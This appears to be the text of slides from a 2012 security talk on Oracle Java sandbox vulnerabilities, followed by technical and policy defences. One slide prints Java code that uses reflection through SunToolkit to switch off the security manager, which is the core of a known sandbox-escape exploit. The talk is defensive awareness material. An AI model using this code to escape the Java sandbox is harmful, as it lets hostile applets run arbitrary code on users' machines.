



**(ISC)<sup>2</sup> Twin Cities Chapter**  
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# **Java Exploits Offense and Defense**

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# Hello!

- Matthew J. Harmon - 20 years of Information Security  
CISSP, GSEC, GCIH, CISO, ISO 27001 Lead Auditor
- Community SANS Instructor  
SEC 401 - Security Essentials Bootcamp  
SEC 504 - Incident Handling, Exploits and Hacking Techniques  
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- Security Researcher, Interim CISO and Security Director  
Penetration Tester, Security Architect  
Incident Handler, Computer Archeologist (Forensic Analyst)
- ISO Standards Developer  
Chairman of US Technical Advisory Group 7 - Security  
Liaison to Sub-Committee 27 - IT Security Techniques

# Why we are here today.

- Client-side (Java, Flash, iTunes) vulnerabilities are a serious attack vector that is largely uncontrolled
- We as security practitioners need to raise awareness of these risks and recommend business appropriate controls

# What we are going to talk about...

- Oracle Java Vulnerabilities and Exploits
- Technical Defense Measures
- Policy based Defensive Measures

## ...and what not.

- No exploit code release and demo today, sorry.
- Many effective exploits in the wild, no need to add insult to injury.
- When this presentation was originally planned it was expected the October Java SE 7 Update 7 patch would fix the sandbox, it didn't and the next expected update is in February 2013.

# However...

- Other security researchers have well documented vulnerabilities in the Oracle Java Sandbox:
- **Joshua J. Drake** (August 2012)  
<http://pastie.org/4594319>
- **Adam Gowdiak** (September 2012)  
<http://seclists.org/fulldisclosure/2012/Sep/170>  
<http://www.security-explorations.com/en/SE-2012-01-press.html>
- **Sami Koivu** (April 2010)  
<http://slightlyrandombrokenthoughts.blogspot.com.ar/2010/04/java-trusted-method-chaining-cve-2010.html>

# and the problem is built-in

```
public void disableSecurity() throws Throwable {  
    Statement localStatement = new Statement(System.class, "setSecurityManager", new  
Object[1]);  
    Permissions localPermissions = new Permissions();  
    localPermissions.add(new AllPermission());  
    ProtectionDomain localProtectionDomain = new ProtectionDomain(new  
CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);  
    AccessControlContext localAccessControlContext = new AccessControlContext(new  
ProtectionDomain[]{localProtectionDomain});  
    this.SetField(Statement.class, "acc", localStatement, localAccessControlContext);  
    localStatement.execute();  
}
```

```
private void SetField(Class paramClass, String paramString, Object paramObject1, Object  
paramObject2) throws Throwable {  
    Object[] arrayOfObject = new Object[]{paramClass, paramString};  
    Expression localExpression = new  
Expression(this.GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);  
    localExpression.execute();  
    ((Field)localExpression.getValue()).set(paramObject1, paramObject2);  
}
```



# Oracle Java Vulnerabilities and Exploits



# Numbers Speak Volumes

**23 of the 50 Oracle JRE vulnerabilities released in 2012 have a CVSS Score of 10**

- CVSS Score of 10 means Game Over
- Complete Compromise of Confidentiality, Integrity and Availability, without Authentication
- Execute Code, Denial of Service, Bypass

[http://www.cvedetails.com/vulnerability-list/vendor\\_id-93/product\\_id-19117/Oracle-JRE.html](http://www.cvedetails.com/vulnerability-list/vendor_id-93/product_id-19117/Oracle-JRE.html)

# Oracle's Secure Coding Guidelines for Java

## **Is Oracle following their own guidelines?**

- SEC00-J Do not allow privileged blocks to leak sensitive information across a trust boundary
- SEC05-J Do not use reflection to increase accessibility of classes, methods, or fields

<http://www.kb.cert.org/vuls/id/636312>

<http://www.oracle.com/technetwork/java/seccodeguide-139067.html>



# Technical Defense Measures

# Whitelisting

**Until the track record of Oracle's Java improves, applets should be considered hostile**

- The good news is under Windows, Group Policies have Zone Mappings
- To Forbid Java in the Internet Zone, set:  
HKEY\_CURRENT\_USER\Software\Microsoft\Windows  
\CurrentVersion\Internet Settings\Zones\3  
Key IC00 = 0

<http://laws.qualys.com/2012/08/new-java-0-day-disclosed.html>

# Click-to-Run

## **Default Deny Java Applets**

- Google Chrome and Firefox have the option of requiring the user to click on Java Applets before activating them
- Click-to-Run helps prevent drive-by exploitation
- Not as effective as whitelisting, but a good control

<http://laws.qualys.com/2012/08/new-java-0-day-disclosed.html>

# A Stronger Local Sandbox

## **Invincea**

- Runs all major client side applications in a virtual machine
- Evaluates application behavior against known good baseline
- Appears similar to Cube OS - Every application runs in its own virtual machine
- Strength in numbers

<http://www.invincea.com/>

# An In-Line Sandbox

## **FireEye**

- Similar to Invincea, however runs as an in-line appliance
- Ties in with malware analysis services
- Strength in numbers

<http://www.fireeye.com/>



# Policy based Defensive Measures



# Security Policies

## **What is the business case for keeping Java around?**

- If you don't have a business requirement for allowing Java in your environment, remove it.
- Certification and Accreditation doesn't only apply to computers that run in your environment, but it applies to the software running on those machines as well.
- Evaluate the risk of allowing Java to run uncontrolled

<http://arstechnica.com/information-technology/2012/10/ars-asks-is-using-java-on-a-desktop-worth-the-security-risks/>

# Critical Security Controls

## **Controls 1 through 5**

1. Inventory of Authorized and Unauthorized Devices
2. Inventory of Authorized and Unauthorized Software
3. Secure Configurations for Hardware and Software on Laptops, Workstations, and Servers
4. Continuous Vulnerability Assessment and Remediation
5. Malware Defenses

<http://www.sans.org/critical-security-controls/>

# Final comments

We've reached a point where client side exploitable vulnerabilities are far more common than daemon or service vulnerabilities.

These exploits, tied with social engineering and specifically phishing, leave our user populations vulnerable.

Patching alone isn't an effective measure, hostile software is running in our environments and we are not in control. Our adversaries aren't disclosing the vulnerabilities they discover so we shouldn't wait.

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IT Risk Ltd. performs IT risk assessments, penetration testing and incident response. We lead security research and participate in international standards development, and if you couldn't tell, we are passionate about what we do.

## Thank you!

## Questions?

I hope you enjoyed this presentation, it can be downloaded after this event from:

<https://github.com/itriskltd>

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